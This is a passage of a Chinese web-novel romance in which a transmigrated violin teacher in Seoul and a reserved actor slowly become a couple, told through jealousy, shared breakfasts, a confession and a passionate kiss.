姜贤洙和宋玉妍把上课的大致流程都已经敲定好了，包括一周两节课，一节课的课时费是200万韩元。 这样的价格在南韩的补习并不算昂贵，尤其是她还是论述考试的老师。 姜贤洙还在心底庆幸，幸好自己和孔浏家有姻亲关系。孔浏又和对方明显关系不一般，不然金素仙想进首尔大没有那么容易。 “对了，她底子有些薄弱，找个陪练好好巩固一下吧。”准备送客时，宋玉妍状似不经意地提了一嘴。 刚要起身的姜贤洙看着核桃色立式钢琴上的雕花，先是一愣，然后脸上堆满了讨好的笑意。 “对对对，还是老师nim想的周到，报酬的话？” “陪练的话，几乎天天上课最好，不然没有效果。”她没有接过对方关于报酬的问题，具体的让朴昭愿和人自己谈。 她把三人送到门口，看着孔浏意味深长地说道：“孔浏xi，网络上的留言你要处理一下，不然开学之后会影响我在首尔大的声誉。” 他听到这样的话有些不知所措，流言？什么流言？从中午醒来他就被姜栋芫指使地团团转，根本没有时间去看网络上的消息。 如果不是工作需要，他甚至可以半个月都不用手机。 转身，孔浏很想问问宋玉妍是如何定义两人现在的关系的，但是有其他人在，他还是没有问出口。 紧绷的嘴唇最后只吐出一个好字。 电梯一点一点下落，就像两人的距离开始一点一点变远，但什么时候才能彻底拉近？ 在车里等到有些不耐烦的姜栋芫连忙凑过来，“怎么样？宋玉妍xi怎么说？” 等姜贤洙把所有的过程转述了一边后，他神色复杂地看着孔浏，“你也是命好。” 别看两人现在都是国民演员，真论起阶级来说，即比不上大公司的主理人，又比不上受人尊重的首尔大教师。 第67章 第六十七章 “实在不行，你把人介绍给我？”姜栋芫打趣道，但语气里满是认真。“你知道的财阀除了喜欢互相联姻以外，最喜欢的就是这种高学历、家庭条件尚可的儿媳。” 这还不先下手为强，等人跑了哭都没有地方哭。 孔浏对自家亲故这种不着调的想法很是无奈，顺手用力压着他的头把他身体往下摁，直到姜栋芫的头和膝盖齐平才罢休。 “臭小子，怎么有些没大没小的？”他们刚认识的时侯，还是会这样互相玩闹。等到功成名就里，这样的亲近反而变少了。 旁边的姜贤洙看着这一幕只觉得好笑，丝毫没有帮自家弟弟解围的想法，捂着嘴站在旁边偷乐。 难得看到自家弟弟，像二十代的毛头小子一样被教训。 等从那种无力的窒息感中挣脱出来，姜栋芫怨念地看着他。 “承认吧，就算是国民良心也会和凡夫俗子一样肤浅，因为人的外在而轻易心动。” 孔刘抱着胸，有些难以启齿道：“我喜欢她……并不是因为那样。” 如果只是单纯因为对方的容貌、职业、家室而轻易喜欢上一个人的话，那他早就应该结婚了。 到了这个年纪谁不渴望一段稳定的关系？只是因为一直没有碰到合适的。 “那你喜欢她什么？总不可能是一见钟情？或者用命运之类的话来搪塞我？”他有些好奇自家亲故的想法，要知道他可是个锯嘴葫芦。 上一段恋爱的时侯一问他关于感情方面的问题，就只说还行、相处的还可以。 就连分手前一个星期，姜栋芫询问两人感情怎么样，得到的答复依旧是还一样的回应。 “不是。是因为和对方在一起相处很舒服。” 宋玉妍身上没有南韩社会特有的浮躁感，整个人的生活节奏是不紧不慢的。 她总说他会带来正向的情绪反馈，但她又何尝不是呢？每次和她相处，不知不觉总会放松下来，话也会更多。他也不用像镜头前那样时时刻刻在意形象，或者是要装出有趣的性格。 但这些话他没有必要和姜栋芫说。 “你这不是长了嘴吗？这话你和她说多好？”听到这里姜栋芫是真的恨他那张嘴，每次私下和人相处半天都挤不出一个字。 活该！活该他单身到现在！ “表白哪有那么容易，你知道她是怎么想得？何况我们两人年纪都不小了，表白之后更要考虑下一步的事情。” 孔浏不想和朋友在这个话题上面多纠缠，半阖着眼眸，大步往前走准备开车把人送回去。 姜栋芫：…… 对对对，他什么都不懂。等自家这个锯嘴葫芦打定主意表白之后，说不定人家孩子都会爬了。 “我就应该多给你送点书，看看那些文豪是怎么写情书的。家里摆了那么多本书，没有一本是有用的。”他就恨自家朋友是个木头，谈个恋爱还要瞻前顾后那么久。 晚上，孔浏半靠在自己的床上，就着小夜灯开始阅读。圈内一直佩服他挑剧本的眼光，但这和演员本身的阅读量密不可分。 见过好的故事，饰演者首先作为读者要被这个故事所打动，然后才能和角色产生共鸣。 下午他让自家经纪公司发布了申明，澄清了他和宋玉妍之间的绯闻。想到给对方带去的困扰，就开始一阵阵头疼。 随后他心底浮现出一抹隐秘的欣喜，至少还能有理由和她产生交集。 作为公众人物他给人带去麻烦之后，应该和人道歉，道完歉之后最少要请人吃个饭赔礼吧！ 手机“叮”的响了一声，他拿起一看是姜栋芫发来的链接。 「81种情话表述方式……」 随后手机又响了几声，还是他发送的链接。 「恋人秘籍——莎士比亚教你如何诉说爱情：《爱的徒劳》」 「情侣都可以学的，维克多雨果致妻子阿黛尔富歇的一封信。」 孔浏：…… 他手指还是很诚实地点了进去，在心底安慰自己，这都是演员的必修课，读一读这些文字很有必要。 越看越觉得脑袋有些发昏，粗看只觉得这些作家肉麻，这样露骨的情话都能说出口。但越看越觉得人家能成为作家还是有一些道理的，不然怎么能把那抽象的的感觉用如此具象的笔触描写出来。 默默地把其中一句保存下来。“只要她允许我用生命去实现她的每个愿望，只要她愿意在生活遇到艰难时依靠我，我便获得了唯一渴望的幸福。”① 这样的话，他这辈子是绝不会说不口的，读起来都让人有些口干舌燥。孔浏拿起床头的水杯，仰头，清凉的液体没有让干燥冒火的口腔更好一点。 —— 宋玉妍这个新年过的愉快极了，有不是亲人胜似亲人的老师和师兄陪在她身边。带着这两位在首尔逛了逛，体验了冬日的韩剧氛围感。 帕尔曼对韩国的国宴韩定食感到好奇，等宋玉妍带他去吃过一顿时，他和林森对着一堆开大会的泡菜面面相觑。 “这就是韩国的国宴？”帕尔曼夹起一片辣白菜，再夹起一根海带，最后是一份凉拌阙菜放到自己的碗里。 “老师，如假包换！” 好不容易劝自己把碗里的东西艰难地吃完之后，帕尔曼又和自家弟子对视一眼，再也不继续伸勺子。 他们找到了比英国更加适合美食荒漠这个称呼的国家，忽然又对后面五天的时间感到绝望，有种想要现在把机票改签的冲动。 宋玉妍见状也不发挥东亚人的传统艺能，在餐桌上继续劝菜。 等这顿饭结束之后，自家小弟子走了。帕尔曼脸上的笑容立刻垮了下来。他带着林森直奔某全球连锁快餐品牌，两个人炫了五个汉堡。 第二天在家给朴昭愿上课的宋玉妍收到了老师的短信，「有些痛风，过来指点你学生的时间推到明天。」 她看到这个信息，紧皱的眉头没有丝毫松懈，眼皮下垂盯着手机走神，心里的担忧止不住往上涌。 也怪她没有注意到老师的健康问题，泡菜的盐含量那么多，对身体肯定会有影响。 对上学生询问的眼神，她把手机收了起来。“明天还是这个时侯，你再来上一节课。有些东西我和你讲不明白，找一个能讲明白的人来教你。” “内。”朴昭愿和之前一样，垂着头沉默着收拾自己的东西。快要出门之后，忽然转过头，头垂更低了。 她不想让老师看到自己失态，眼眶里含着豆大的泪珠。 “老师nim，谢谢你。”谢谢你对我的栽培，也谢谢你帮我找到了兼职，能够支撑我自己完成梦想。 宋玉妍的帮助从来就不是居高临下的，而是一直在用合适的方法保护她的自尊心。 原来朴昭愿的窘迫、贫穷、自卑，她都看在眼里，但是没有戳穿，也没有选择施舍。 而是用她的人脉为其铺路，十万韩元每节课的陪练费是姜贤洙看着她的面子付的。 “我是你的老师，这很正常。”宋玉妍坐在光里，笑得温柔，“之前我和家人闹矛盾，身无分文的时侯也是我的老师把我带他家去吃饭。” 包括原主周游世界的资金，一部分是兼职赚来的，一部分是老师赞助的。 至于为什么她刚来就会落到那种地步，是因为原主根本没有想到自己常用的那张银行卡是父亲的副卡。 宋玉妍视力很好，一下就看到自家玄关的地板上有一圈圈水渍。 “你给金素仙带句话，好好练琴，进首尔大没有捷径可以走，就算我是论述考试的老师，她拉的太次也不行。” “内！” “你也是，给我好好练琴，不然下学期室内合奏课开始，你就一直给我去拉中提琴。” 这算得上是很严重的惩罚了。 打个不太恰当的比方，用女团来类比。在弦乐中，小提琴相当于受捧的皇族，一直站c位。而大提琴和低音提琴相当于被防爆的成员，虽然偶尔能有几句旋律，但也是边角料的存在，至于中提琴，就属于伴舞那一部分。 朴昭愿忽然有了紧迫感，觉得自己每天6小时的练琴时间有点短，决定延长8-10小时。她快速给老师鞠了三个躬，然后推门出去。 「宿主，你不理理孔浏吗？」 说起这个她就很无奈，拿出kkt的聊天记录，「你看看，你让我怎么回，这位比你还人机。」 系统提取到这几天攻略对象，都会准时准点给宿主在9点、14点、21点，发送早安、午安、晚安。 「他对绯闻闭口不谈，也不说他们公司的处理方式，人家不接招我能有什么办法？」 边说，宋玉妍边趿拉着毛茸茸的拖鞋边去厨房给自己榨了一杯柳橙汁。 「一天天的，光顾着请安了，你看了也觉得很无语吧。」 系统：…… 它也不知道该如何回答。 等宋玉妍把投影仪准备好，在茶几上放好零食、橙汁后。去浴室洗好头发默默吹干出来，准备开始放映《釜山行》。 这部作品她个人认为很有奉俊昊的特色。 手机的提示音响起，显示屏上的时间是21点，她拿起橙汁放在嘴边啜了一口。“你看吧，肯定又是孔浏发过来的晚安消息。” 「只要她允许我用生命去实现她的每个愿望，只要她愿意在生活遇到艰难时依靠我，我便获得了唯一渴望的幸福。」 宋玉妍看着这样的消息，桃花眼被刺激地瞪的超级圆，嘴里的橙汁忍不住喷了出来。 这种老旧的、肉麻的情话是他想的？ 这个世界疯了？还是她看错了，揉了揉眼睛，发现那一短韩文还是好好地长在两人的聊天框里面。 孔浏和她一样，灵魂被换了？ 宋玉妍：？？？ 第68章 第六十八章 等孔浏发现自己发出消息之后，整个人懊恼极了，只看到自己发出去的消息比纯爱剧的台词还要肉麻。 kkt又不提供撤回消息的功能，他只能盯着对话框好一会，手臂无力地搭在额头上。 他是疯了，才会相信姜栋芫的话，去看那些奇奇怪怪的链接。 从耳尖处开始往上蔓延，温度烧的慌，看到宋玉妍回复的三个问号后，他是彻底无力。他把自己摔到床上，捂着脸狠狠搓了搓。 没有打水光针的皮肤在冬季，摸起来有些干燥的粗糙。 孔浏拿出做人物小传的功夫，打了长长一段的解释文字，包括解释他不是有意的、他也很堂皇…… 宋玉妍看到这一大堆文字，有些兴致阑珊地放下手机，喝着柳橙汁开始和脑海里的系统搭话。 「系统，你说为什么会有这么无趣的攻略对象。无趣到让人觉得，他在床上也会先问可以吗？等到同意后再补一句，我进去了。」 感觉像是那种会用最传统姿势的老古板，让人丝毫提不起兴趣。 听到这话的系统核心宕机了，只觉得自己的芯片被污染了。 「宿主，你要不看看《鬼怪》这部剧，人家都说他很有性张力。和金高银之间的年龄差也很好磕。」 宋玉妍只觉得自家系统是真的不会说话，心脏被 嫉妒和占有欲填满。她瞬间冷脸下来，拿着杯子的手不断收紧，指尖更是发白。 她垂着头，浓密秀发像是深海里的海藻，只要碰到生物就能缠住、不断收紧、绞杀。 就算不喜欢的攻略对象，但那也是她所有物。系统这话仿佛在说，她是金高垠的替身。 人工智能未必有这样的心思，但是就是让宋玉妍不舒服。 系统完全不敢出声，直觉告诉它，现在的宿主很危险。 遥控器在她的操作下开始播放《鬼怪》，不得不说孔浏撑伞的那一幕是很有氛围感。 细雨、呢子大衣、碎分的头发加上沉稳的气质散发着魅力。摄像师也很会拍，由下至上的运镜，等人脸完全露出时，让人看得呼吸漏了一拍。 原本的bgm被她脑海中的各种旋律所取代，无数个黑色跃动的音符在脑海里取代。 宋玉妍看到这一幕的时候，抓着爆米花的手忍不住放松了，裹满焦糖的爆米花重新落到了纸桶里，然后弹跳了一下。 下一秒屏幕里出现金高垠，她幽深的眼眸跳跃不明情绪，原本柔软的唇线绷成一条直线，感觉身体的每一寸骨骼有种难以言喻的不适感。 做过演员的人当然可以判断出，两人拍摄时都入戏不浅。 她把爆米花重重地往茶几上一顿，然后整个人瘫在沙发上，开始搜索拍摄期间的物料。 越看越觉得冷静，她的大脑皮层叫嚣着活跃，直到早上六点才昏昏沉沉地睡了过去。 等一口一口喝完橙汁之后，宋玉妍垂着眼睛，一点一点地用力把嘴角的果汁渍擦干净。 春日的暖风拂过树枝上的细雪，路上的行人也纷纷换下棉服穿上风衣。汉江公园的樱花树上冒出了新芽，偶尔会让散步的人心情愉悦。 这段时间她的节奏慢了下来，拿到了新年音乐会的报酬。在现代集团的资助下，反响好，报酬更是比预计的多了三分之二。可惜他们后续办的音乐会，反响平平，上座率并不高。 传统的音乐报纸报道了她的技法特点以及风格，这让宋玉妍证实步入主流的目光中。 闲下来的时间，她会选择在家亲手磨一杯咖啡，捧着那么一本书或者是练练琴消磨时光。 对于孔浏的消息她愈发不想回复了，宋玉妍知道她这是迁怒，但还是不想委屈自己。 开始上课之后，学生更加怕她了。不知道是因为她开始在韩国古典音乐届的声名鹊起，还是因为她现在连装温婉都不想，浑身满是冷冽的距离感。 上完一节课之后，宋玉妍回到办公室，觉得胃有些不太舒服。她轻轻按了按，茶杯里没有泡上之前喜欢的绿茶，而是倒了杯温水。 同事也开始奉承她，一扫上一个学期满脸无视的状态。有眼睛的人都知道，这位绝对不会满足在这做一个小小的非专职教师，就算在首尔大教书，以后也很可能是学院聘请的客座教授。 李素言连忙把自己抽屉里的红糖姜茶递了过来。 另外两位男士开始讨好道：“要不宋玉妍xi好好休息吧，下午的课我帮你上？” “说的对，或者去医务室躺一会也行。” 她低头有些讽刺地笑了笑，果然，当你功成名就时，身边的人都是好人，仿佛这个世界不存在黑暗面。 宋玉妍抬起头拒绝了两位男士的提议，犹豫了一瞬，还是接过了李素言的好意。 等一天课程结束，她提着琴盒往外走，在校园的拐角处碰到了孔浏。 轻飘飘地看了他一眼，就当是没有看见。现在一看到他，就忍不住想到他和金高垠的cp视频，心底的无名火浇不灭。 孔浏想要帮她把琴盒拿下来，宋玉妍抱着不让。 拉扯之时她还是退让了，不管是琴还是琴盒受到损伤都是她不愿意看到的。 男人默默地走在她的旁边，就像是一个沉默寡言的骑士。看着她苍白的脸和有些干裂的唇部，他的脸上闪过一抹心疼。 看来对方很不会照顾自己，现在见到他不但酒窝没了，就连脸上原本丰盈的脸颊肉也没有了。 “你最近还好吗？” “还行。” “为什么不回我信息？”孔浏忽然有些后悔，早知道听自家亲故的早点表白。 不然也不至于两人这么长时间断了联系，这些天她不回消息的样子，他一直在胡思乱想。 一会觉得对方是不是已经回美国了，韩国只是她旅途中的一站；一会觉得对方是不是有了新的暧昧对象，现在在接触中。 无数次他从宋玉妍家楼下“路过”，但都是无功而返。好在……终于还是在首尔大等到了她，她没有不辞而别。 所以，孔浏忍不住戳破这层窗户纸。 他的面色沉稳、问出问题的声音与平时别无二致，只有拿着琴盒微微僵硬的右手泄露了心绪。 “忙。” 宋玉妍还是言简意赅，神色恹恹。现在她看到对方心情就很烦，估计是看《鬼怪》的后遗症，就想起他和金高垠的银幕cp。 他没有再说话了，只是眼里被落寞所盖满。 第二天宋玉妍下楼时，发现孔浏依旧在楼下等。穿着一件枫叶棕色的呢子大衣，让他整个人看起来既温柔又可靠，嘴角的弧度也一如既往地温柔。 把准备的早餐紫菜包饭递了过来，顺手接过宋玉妍手中的琴盒，好让她能腾出手来吃饭。 她眼底划过一抹疑惑，但接过之后不符合胃口的早饭只吃了一口。 “不合胃口吗？”孔浏注意到她没有吃太多，但南韩的早餐样式并不多，来来去去也就那几样。 宋玉妍皱了皱鼻子，掰着手指数，“当然不合胃口，我想吃锅盔、蒸饺、小笼包、馄饨……” 孔浏默默记下来了。 等第三天早晨，因为前一晚半夜下了一场春雨，所以湿漉漉的空气里夹杂着不知名的花果香气，一些早春开放的花瓣被雨滴砸落在地上。 孔浏依旧在楼下等着，等宋玉妍下来，熟练地接过她手中的琴盒，她也不再推拒。 从中餐馆买来的小笼包，味道一般，肉有一股冷冻过后的硬感。她吃了一点比昨天多，然后依旧皱着眉毛不再下咽了。 “还是不合胃口吗？” “肉质不行，面皮不够暄软，一点汁都没有。” 看到她如此挑剔，孔浏叹了口气，打算自己去和华侨好好学学这些早点的做法。 …… 一连两个多月，从孟春到初夏，孔浏天天维持着工作日接送宋玉妍的习惯，比她上班都准时。 早餐也从紫菜包饭，变成了他自己亲手做的各类种花早餐，一周下来都能不重样。 宋玉妍觉得如果他不继续做演员，凭借手艺去开一个中餐馆也能赚很多钱。 等到立夏这天，她终于受不了了。 首尔大的师生从一开始看到他接送宋玉妍的震惊，到后面的习以为常。孔浏也从拐角挪到办公室外准时等，这让她都不好意思拖堂。 “你就没有自己的工作吗？”她忍不住情绪发问道，一天天陪她上班，首尔大只开了一份薪酬。 “还好，最近没有接到合适的剧本。”他依旧驾轻就熟地接过琴盒，顺手往背上一背。 反正经纪公司的老板是他共患难的好友，现在不指望他带来多大的经济效益。况且他已经有在演艺圈立足的代表作了，没有必要像之前那样忙碌。 “那商务活动呢？”品牌站台、cf拍摄、活动推广、杂志晚宴、电影节这些都不用继续出席吗？ “我在忠武路已经算是过气艺人了。”他难得开了句玩笑。 宋玉妍：…… “那一起吃晚饭？” 他 抑制住狂喜的心情，原来温水煮青蛙的办法真的管用，看来姜栋芫的主意还是有点用处的。 “像宋玉妍xi现在的抗拒，你就不能一味地表白。你已经错过表白的最佳时机，在不合适的时间点表白，人家只会觉得你之前在玩推拉。”当时姜栋芫敲着桌板，苦口婆心地给自家亲故传授经验。 “其次，你最好是日渐进入她的生活，让人习惯你的存在。”至于怎么执行，那就要看他自己了，总不可能他把饭喂人嘴里。 他恨不得拿笔和本子记下来这些要点。 孔浏低头打量了一下自己今天的穿着，群青色的圆头t恤搭配亮白色长裤，看起来还算正式，头发也在出门前抓过纹理。 坐在餐厅点餐的时候他有自己的小心思，没有坐到对面，而是坐在旁边。 这家店的桌子有些小，两人一抬臂，手上的肌肤就容易蹭到。 宋玉妍半是开玩笑地说道：“孔浏xi不是不喜欢年龄差太大的吗？我们之间可是差了10岁。” 他没有想到自己出演的综艺会被她看到，连忙端起餐厅的柠檬水遮在嘴边掩饰尴尬。 “当时没有遇到合适的，嗯……是随口说的。” “我看你和金高垠xi的cp粉很多诶，大家都想让你们售后一次魁北克。”宋玉妍面上言笑晏晏，但是软红的唇边酒窝浅浅，嘴角的弧度也有些不自然。 “而且感觉当时你们两人入戏都很深，化学反应很不错，我都磕到了。” 确实是磕到了，不过是爆米花桶磕到了而已，甚至都磕疯了。 看着她温软的面容，有些无奈，就算他是个傻子都能听出语气里的不对劲了。 孔浏的性格就是比较慢热，而且和圈内人很少有超越工作范围的交集。有时他甚至都觉得自己是一个旁观者，看着圈内一幕幕闹剧上演。 “入戏是演员的基本职业操守。”他无奈地开口解释道，“况且在我心底她就是年龄差距大的后辈而已。” 听到这话，宋玉妍脸上的笑容瞬间落了下了，脸侧对着墙，角落里的手指攥地发白。 “哦。” 看着她的表情孔浏就知道，他这句话说错了。如果不是坐在里面，外面有他的身体挡着的话，恐怕宋玉妍已经扭头就走了。 好不容易更近一步，她的态度也松动了，怎么可能现在功亏一篑。 他急得都管不上所谓的绅士风度，滚烫的手掌包住她的下巴。用了一点力气，把她的脸转过来。 平时性格温柔，从不越界的人居然会做出这样强势的动作。 这让宋玉妍始料未及，睫毛都快翘到眉骨位置的，震惊到甚至忘记落下眼睑。 下一秒，孔浏就把额头贴到她的额头上，他高挺的眉骨、优越的鼻梁存在感十足。鼻尖不经意地蹭到时，挥洒地气息间透着一股强势，就像她是一块香甜可口的点心，随时都能被拆食入腹。 宋玉妍屏住呼吸，不敢和近在咫尺的眼前人对视，酡红的脸蛋比高烧烧到最高温度时还要烫。 他的喉间一出一声低沉磁性的闷笑，“宋玉妍xi，我可不会对同事做出这样的举动。” 拉住她的手，贴在左侧的胸肌上，心脏跳动的频率比36分音符还要快。 眼底的爱意可以演、温柔可以演、宠溺也可以演，唯独心脏不会骗人。 明明对节奏最敏感的人，此刻完全数不清律动的节拍。 宋玉妍只是不合时宜地想着，看来孔浏在空白期，对自己的身材要求也是有的。 第69章 第六十九章 岁月是真的优待这个男人，就算步入四十代，脸上的少年气也丝毫不减。宋玉妍像是被烫到了一样，手指忍不住往回缩了一下。 但因为手腕被扣住，挪动的幅度并不大。 “我以为宋玉妍xi会喜欢绅士一点的，想着慢慢接触，现在看来完全不是这样。”孔浏把两人之间的距离拉的更近了，她整个人像是被半抱在怀里。 她的身体更加僵硬，对方释放出来的领地意识有一种强势、不容置喙的感觉。 宋玉妍现在有些后悔，不应该看着对方脾气软、一副好好先生的样子，就想着把人玩弄于股掌之间。 能在忠武路混出头的，怎么会真的是向他表现出来的性格那样温吞？她被一个从角斗场里，杀出来的披着羊皮的饿狼给演了。 心底在咬牙切齿，居然被骗了，果然演员就没有一个演技差的。 恍惚间甚至以为耳朵被一片温软的东西蹭上，余光撇过去才发现那是自己的错觉。 孔浏用手指把她的一缕碎发理到耳后，肌肤摩擦间带起一阵颤栗。 那是她的敏感部位，很少被人造访的地方，现在就像是他手里的玩具。 偏偏他把这个动作做的又慢又细致。 宋玉妍很想仰头，也想避过去，身体动弹不了。 “宋玉妍xi，从今天开始就算一日吧。”他靠着她的耳边，呼出的灼热气体让人想要躲避。 水生胡椒和香根草的攻击性十足，仿佛像是沐浴过后的水汽，又像是清晨须后水的味道。浓烈，浓烈到宋玉妍甚至感觉自己身上也被蹭到了一些。 他换香水了！？ 明明之前是温柔治愈的海洋系味道。 “没有拒绝，那就当你答应了。”孔浏垂下眼眸，漫不经心地狎呢地把玩着她如同珍珠一般的耳垂，只不过这颗珍珠变粉了。 听到脚步声后，他退开了，回到了最初的距离。 侍应生把干烹鸡、金枪鱼片、荡平菜……一道一道菜上来。孔浏干咳一声，抚了抚领口不存在的褶皱。 脸上温柔的笑容一如既往，仿佛刚刚那个强势又侵略感十足的人是她的错觉。 宋玉妍脑子很混乱，机械性地用筷子数着米饭粒。 今天受到的冲击太大，没有想到两个多月以来，任她予取予夺的人居然会有这么大的转变。 孔浏抬手，给她夹了一块荡平菜里的凉拌牛肉。“好好吃饭，多吃点菜，不然你又该胃犯难受了。” “你怎么……知道？” 每次她心情不好或者是练琴忘记时间，都会把吃饭这个事情抛之脑后。想起来就点个外卖，至于做饭，这辈子是不可能做饭的。 他笑了笑，没有说话，慵懒的笑容和贴心的举动形成强烈的反差感。 吃完饭，两人绕着周边散着步消食。月色融融，月亮就像是王尔德笔下信封上的邮戳，盖在天空上。 周围偶尔有一下没一下的摩挲声，为静谧增添一丝不可捉摸的氛围感。 孔浏的目光一直停在宋玉妍的脸上，她好像……偏爱冷红栗色。 既不像安可拉红那样过于俗艳，又不似干枯玫瑰色那样低饱和的无聊。 两人离得很近，摆手间手背不经意地碰到，一下、两下、三下…… 在走了大概第五十步，或者是第六十步？他数不清了，呼吸浅浅急促了一下。 下一秒宋玉妍的左手被包裹住了，她的手掌比平常女生的要大，但还是被另一个轻轻松松地包住。 “孔浏xi，”宋玉妍终于开口了，“情侣之间热恋时会有那么一段短暂的时光，人能超越自我，变得细腻又体贴、卑微又伟大，达到一种就连本人都难以置信的程度。” 恋爱初期身体里面的荷尔蒙过载，看另一半什么都是好的。耍脾气是情趣、高冷是有魅力、甜美粘人是性格好…… 多巴胺消退后，曾经所有的优点都会让人腻烦。 “一旦过了那段时光，大多数男人都会变成让另一半回归家庭的普通人。” 看到孔浏想要说些什么的时候，宋玉妍立刻踮起脚尖，用手心堵住他的唇。 “你现在不用和我解释那么多。孔浏xi，我想说的是，我一定是会把演奏事业放在第一位的。我不可能和普通的韩国女性一样，被困在一个个或大或小的房子了，冠着某某太太的名号，帮他人相夫教子。” 如 果她学习25年的小提琴，费尽心思进入茱莉亚音乐学院。只是为了成为另一半在社交场合的谈资，变成一张可以带出去炫耀的名片，那是宋玉妍不可以接受的。 “所以，这是我的底线。” 终于到他说话了，孔浏摸了摸宋玉妍柔软如绸缎的头发。他叹了口气，不知道她为什么对感情报以最悲观的情绪，会一开始就没有安全感。 “你不用想太多，我现在说什么你都会觉得是张空头支票，但我觉得还是用实际行动来告诉你比较好。” 他的目光扫过宋玉妍柔软又丰润的红唇，有些可惜今天没有随身携带独立包装的漱口水。 温暖的拥抱里是干燥好闻的奶油摩丝味道，夏日、晚风、若有似无的柠檬味组成让人安心的感觉。 就连开车回去时，他一手握着方向盘，另一只手都舍不得放开。 还是宋玉妍有些不满，“你不要给我蹭的满手汗。” 湿漉漉的，感觉会在小提琴的琴板上留下一个个指印，让人很不舒服。 等红灯的间隙，孔浏侧过身来，松开她的手，抽出一张湿巾，帮她把手擦拭干净。从手背到指尖，隔着一层纱布，四个厚厚的茧子分布在指尖上。 “痛吗？”舞台上的光芒万丈，背后总是有不为人知的心酸。 条件反射下，宋玉妍回想到了原身四岁开始练习小提琴的记忆。刚开始时，小孩子的皮肤娇嫩，摁这G弦振动时，指尖上出现一条深红色的印子。 就算这样，也还是要一边哭一边被逼着练琴。 到了大一点，原主的父母要求明天练琴时间不少于六个小时，放完学回来把她关在阳台练琴。 什么时候练完琴什么时候吃饭。 她没有哭闹的权力，就算再怎么掉眼泪，家人依旧是心如坚石。晚上的阳台只有小提琴陪伴，黑暗像是一个择人而噬的怪兽。 这也是第一次有人询问她痛不痛，宋玉妍遮掩住原本的情绪。抬起脸扯出一抹刻意的笑容，“早就习惯了。” 怎么会不痛呢？只不过是习惯了而已。 演员很擅长捕捉人的情绪，看着宋玉妍低落的样子，她不想说，他也就不问了。 等她转身上楼时，孔浏忽然开口道：“玉妍呐，以后都说平语吧。” 想着以后她用温柔上翘的尾音叫他欧巴，心脏就开始一阵阵酥麻。 两人确定关系后，更加不避讳了，大大方方地在首尔各大餐厅打卡。 孔浏还是一如既往的温柔，日常生活里体贴、照顾另一半，仿佛之前的强势是错觉。 在盛夏时，首尔大又一学期结课，宋玉妍也开始准备自己的个人独奏会。 从联系乐团到确定曲目，她忙到团团转，就算有老师的帮忙也是杯水车薪。 偶尔孔浏会在她家，抱着一本书就着斜阳喝着咖啡，看着宋玉妍忙着工作。兴致来了，拉上一首小提琴曲，可能是轻音乐也可能是独奏曲…… 看到对方闲适的样子是真的让人不爽，恨不得让他立刻进组，尝尝工作的苦。 “宋玉妍xi，很多媒体都报道了我的恋情，你想公开吗？”孔浏喝着自己最喜欢的手冲咖啡，像是漫不经心地提了一句。 好像公不公开都可以，他无所谓，就听宋玉妍的一样。 “嗯……拍到了吗？” “是的，粉丝还说偶遇我的频率比过去一年都多。”想到她们在Ins上整的花活制作好的表情包，他就想笑。 “媒体给我拍的好看吗？有氛围感吗？总比韩剧的宣传画报要好吧？” “你是素人，当然是要打码的！” 宋玉妍沉吟了一会，在纠结到底要不要公开。如果公开的话，稍微熟悉一点的人都会知道是她。 粉丝也能扒出来嫂子是谁，这样会给她的巡演带去一点麻烦。 孔浏像是知道她的心思，走过去从她手中把忙个不停发送消息的手机，给抽了出来。 整个人从后面把人圈住，头搁在她的左肩上，不断地朝人耳垂上吹气。 夏天的衣服本来就薄，宋玉妍只感觉身后人的坚硬又滚烫的皮肤让她很不适应。 “别闹，我在和老师发邮件说正事呢！” “我没有闹，我的事情也很重要。”暗哑如低音提琴的声音引起颅内一阵过电，孔浏的嘴唇快要亲到她鲜红如滴血的耳垂。 宋玉妍刚想和人好好把道理掰扯明白，下一秒整个人被拦腰抱起，被卡在沙发中间。 手机被他顺手放在透明的茶几上。 “玉妍呐，我难道是什么很拿不出手的另一半吗？” “不……不是。” 就算改变了姿势，他的脑袋依旧没有挪开。 耳后这个软肋在他手下，被捏的死死的，这让宋玉妍丝毫不敢妄动。 孔浏好像拿准了她的命脉，两次单独相处时，他一强势好像也只能退让。 “我是觉得，等开完巡演公开也不迟，不想因为任何东西分心。”她的话音刚落，温软的唇就被一片炽热撞上，口腔里瞬间蔓上玫瑰和薄荷的味道。 这个吻很凶，逼着她不得不扬起脖颈。优美的脖颈线下一秒就被一双大手覆上，像是要被揉到他的骨子里。另一只手紧紧箍住她柔软的腰肢，力道大的像是要把它折断。 宋玉妍看着他眼底的欲色，脑海里被震惊到一片空白。这段时间他依旧是披着温温柔柔的面皮，让人以为当时只是她的错觉。 结果现在，锁骨上是一片让人难以忽视的滚烫，烫得她周围的肌肤都变成粉色。 不是哥，你这么会？掐脖吻？ 第70章 第七十章 室内的气氛就像是融化的蜜糖那样黏腻，脖子上干燥、滚烫的大手让人无法忽视。他手下微微用力，力道刚刚好，既不会让人感到有窒息不适的感觉，又能让宋玉妍被迫把头昂得更高。 她就像是一只濒临死亡的天鹅，在脑海里奏上一曲弦乐的天鹅湖圆舞曲。被迫献上自己的所有，包括温软的唇瓣、被撬开的贝齿以及湿润里的柔嫩。 气息越来越灼热，像是盛夏傍晚的旧雨，随着雨滴的节奏拍打着未关的窗户。房间内被湿闷、浸润的空气充满，水生的味道让人既是难受又忍不住沉浸其中。 孔浏像是上位者，贴紧她的腰肢像是想要掌控一切。鼻尖撞击的节奏、黏腻间纠缠的力道、吮吸的轻重都在他的轻微的喘息下。 等门铃声响起，才发现金乌早已西沉，室内的昏暗助长了放纵的情绪，孔浏的理智早就被一点点蚕食殆尽。 等他还想发出下一波进攻时，宋玉妍用尽全身力气把他推开。“学生都要来上课了，你还要乱来？” 他没有说话，只是默默起身去打开了餐客厅的灯，一时间两人都被突如其来的刺目光源给刺激到了眼睛。 宋玉妍条件反射般地把眼睛一闭，等自己适应之后再张开。 孔浏则是在开门之前平复了呼吸，在隐秘的角落拿手背试探了一下脸上的温度，感觉热度不是特别明显之后，把门打开。 “孔浏xi，晚上好！”朴昭愿有礼貌地和自家老师的男朋友打招呼鞠躬。这些日子看得多，她早就见怪不怪了。 “嗯。” 在人前，他又恢复了那副不善言辞的模样，仿佛多说一个字要了他的命。 朴昭愿自己熟练地把琴盒里的曲谱放到曲谱架上，拿出松香把弓拧紧，然后开始擦。看到老师没有立刻过来上课，她准备工作做好之后自觉地开始拉练习曲。 看到孔浏做到沙发的另一侧，离她的距离恨不得中间塞下四个人。脸上的温和一如既往，手上拿着本《演员的自我修养》。 